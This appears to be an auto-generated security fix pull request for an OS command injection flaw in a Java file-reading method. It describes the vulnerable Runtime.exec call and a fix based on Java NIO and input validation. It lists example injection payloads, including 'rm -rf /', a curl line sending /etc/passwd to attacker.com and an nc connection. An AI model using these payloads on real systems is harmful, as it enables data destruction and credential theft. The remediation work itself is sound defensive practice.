[AppSecAI Agent] Uncontrolled command line

[conviso-platform-appsec]

AppSecAI Agent

Issue ID: 8860292
Title: Uncontrolled command line
Severity: CRITICAL
Type: SastFinding

Description

Using externally controlled strings in a command line is vulnerable to malicious changes in the strings.

Code that passes user input directly to Runtime.exec, or some other library routine that executes a command, allows the user to execute malicious code.

Fix Details

Security Fix: Uncontrolled Command Line Injection in lerArquivo method

Vulnerability

The lerArquivo method in ArquivoServiceImpl was vulnerable to OS Command Injection (CWE-78). The method accepted a user-controlled nome parameter and directly concatenated it into a shell command string passed to Runtime.exec():

command = new String[]{"sh", "-c", "cat " + nome};
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec(command);

This allowed an attacker to inject arbitrary shell commands by crafting a malicious nome value such as:

• file.txt; rm -rf /
• file.txt && curl http://attacker.com/exfil?data=$(cat /etc/passwd)
• file.txt | nc attacker.com 4444

Fix

The fix eliminates the use of Runtime.exec() entirely and replaces it with the Java NIO Files.readAllBytes() API, which safely reads file contents without invoking a shell:

1. Removed shell command execution: Eliminated Runtime.getRuntime().exec() call entirely.
2. Used safe Java NIO API: Replaced with Files.readAllBytes(filePath.toAbsolutePath()) which reads the file directly without shell interpretation.
3. Added input validation: Added a check to reject filenames containing shell metacharacters (;, &, |, `, $, <, >, !, \, *, ?, [, ], {, }, (, ), ', ").
4. Added path normalization: Used Paths.get(nome).normalize() to prevent path traversal attacks.

Impact

• Severity: CRITICAL
• Attack Vector: Remote (via API endpoint that calls lerArquivo)
• Before: Arbitrary OS command execution possible
• After: Safe file reading using Java standard library with input validation

---

This PR was automatically created by Conviso Platform Auto-Fix.